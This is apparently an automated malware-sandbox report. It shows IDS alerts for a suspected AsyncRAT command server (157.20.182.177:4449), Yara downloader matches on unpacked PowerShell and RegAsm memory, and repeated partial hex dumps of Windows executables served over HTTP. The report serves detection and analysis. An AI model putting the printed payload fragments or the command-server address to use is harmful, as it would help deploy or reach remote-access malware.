Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 157.20.182.177:4449 -> 192.168.2.6:49776
Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 157.20.182.177:4449 -> 192.168.2.6:49810

Yara detected Generic Downloader

Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.52aace4.2.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.6:49776 -> 157.20.182.177:4449

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 10:33:38 GMTETag: "8a00-62ab6b1fe4fe2"Accept-Ranges: bytesContent-Length: 35328Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 69 0e 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 7a 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 0c 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 80 7f 00 00 00 20 00 00 00 80 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 a0 00 00 00 06 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 9f 00 00 00 00 00 00 48 00 00 00 02 00 05 00 ac 21 00 00 60 7d 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 3a 00 00 00 01 00 00 11 28 0f 00 00 0a 03 6f 10 00 00 0a 0a 02 8e 69 8d 15 00 00 01 0b 16 0c 16 0d 2b 17 07 09 02 09 91 06 08 91 61 d2 9c 08 17 58 06 8e 69 5d 0c 09 17 58 0d 09 02 8e 69 32 e3 07 2a 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 11 00 00 0a 03 28 01 00 00 06 0a 28 0f 00 00 0a 06 6f 12 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 14 00 00 0a 73 15 00 00 0a 0b 07 6f 16 00 00 0a 72 3e 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 6f 16 00 00 0a 72 60 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 17 6f 18 00 00 0a 07 17 8d 19 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 19 00 00 0a 6f 1a 00 00 0a 72 8a 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1b 00 00 0a 72 ac 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1c 00 00 0a 14 14 6f 1d 00 00 0a 26 2a 1e 02 28 13 00 00 0a 2a 1a 28 04 00 00 06 2a 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 6a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 10:33:38 GMTETag: "8a00-62ab6b1fe4fe2"Accept-Ranges: bytesContent-Length: 35328Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 69 0e 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 7a 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 0c 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 80 7f 00 00 00 20 00 00 00 80 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 a0 00 00 00 06 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 9f 00 00 00 00 00 00 48 00 00 00 02 00 05 00 ac 21 00 00 60 7d 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 3a 00 00 00 01 00 00 11 28 0f 00 00 0a 03 6f 10 00 00 0a 0a 02 8e 69 8d 15 00 00 01 0b 16 0c 16 0d 2b 17 07 09 02 09 91 06 08 91 61 d2 9c 08 17 58 06 8e 69 5d 0c 09 17 58 0d 09 02 8e 69 32 e3 07 2a 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 11 00 00 0a 03 28 01 00 00 06 0a 28 0f 00 00 0a 06 6f 12 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 14 00 00 0a 73 15 00 00 0a 0b 07 6f 16 00 00 0a 72 3e 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 6f 16 00 00 0a 72 60 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 17 6f 18 00 00 0a 07 17 8d 19 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 19 00 00 0a 6f 1a 00 00 0a 72 8a 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1b 00 00 0a 72 ac 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1c 00 00 0a 14 14 6f 1d 00 00 0a 26 2a 1e 02 28 13 00 00 0a 2a 1a 28 04 00 00 06 2a 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 6a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 10:33:38 GMTETag: "8a00-62ab6b1fe4fe2"Accept-Ranges: bytesContent-Length: 35328Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 69 0e 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 7a 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 0c 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 80 7f 00 00 00 20 00 00 00 80 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 a0 00 00 00 06 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 9f 00 00 00 00 00 00 48 00 00 00 02 00 05 00 ac 21 00 00 60 7d 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 3a 00 00 00 01 00 00 11 28 0f 00 00 0a 03 6f 10 00 00 0a 0a 02 8e 69 8d 15 00 00 01 0b 16 0c 16 0d 2b 17 07 09 02 09 91 06 08 91 61 d2 9c 08 17 58 06 8e 69 5d 0c 09 17 58 0d 09 02 8e 69 32 e3 07 2a 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 11 00 00 0a 03 28 01 00 00 06 0a 28 0f 00 00 0a 06 6f 12 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 14 00 00 0a 73 15 00 00 0a 0b 07 6f 16 00 00 0a 72 3e 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 6f 16 00 00 0a 72 60 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 17 6f 18 00 00 0a 07 17 8d 19 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 19 00 00 0a 6f 1a 00 00 0a 72 8a 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1b 00 00 0a 72 ac 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1c 00 00 0a 14 14 6f 1d 00 00 0a 26 2a 1e 02 28 13 00 00 0a 2a 1a 28 04 00 00 06 2a 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 6a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 10:33:38 GMTETag: "8a00-62ab6b1fe4fe2"Accept-Ranges: bytesContent-Length: 35328Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 69 0e 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 7a 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 0c 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 80 7f 00 00 00 20 00 00 00 80 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 a0 00 00 00 06 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 9f 00 00 00 00 00 00 48 00 00 00 02 00 05 00 ac 21 00 00 60 7d 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 3a 00 00 00 01 00 00 11 28 0f 00 00 0a 03 6f 10 00 00 0a 0a 02 8e 69 8d 15 00 00 01 0b 16 0c 16 0d 2b 17 07 09 02 09 91 06 08 91 61 d2 9c 08 17 58 06 8e 69 5d 0c 09 17 58 0d 09 02 8e 69 32 e3 07 2a 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 11 00 00 0a 03 28 01 00 00 06 0a 28 0f 00 00 0a 06 6f 12 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 14 00 00 0a 73 15 00 00 0a 0b 07 6f 16 00 00 0a 72 3e 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 6f 16 00 00 0a 72 60 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 17 6f 18 00 00 0a 07 17 8d 19 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 19 00 00 0a 6f 1a 00 00 0a 72 8a 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1b 00 00 0a 72 ac 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1c 00 00 0a 14 14 6f 1d 00 00 0a 26 2a 1e 02 28 13 00 00 0a 2a 1a 28 04 00 00 06 2a 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 6a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 09:39:17 GMTETag: "2fdc00-62ab5ef921a41"Accept-Ranges: bytesContent-Length: 3136512Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 80 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11 f6 ba 16 d5 04 d7 8d fd 11 ad d7 35 ab 29 f6 63 b8 1d b1
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 09:39:17 GMTETag: "2fdc00-62ab5ef921a41"Accept-Ranges: bytesContent-Length: 3136512Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 80 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11 f6 ba 16 d5 04 d7 8d fd 11 ad d7 35 ab 29 f6 63 b8 1d b1
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 09:39:17 GMTETag: "2fdc00-62ab5ef921a41"Accept-Ranges: bytesContent-Length: 3136512Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 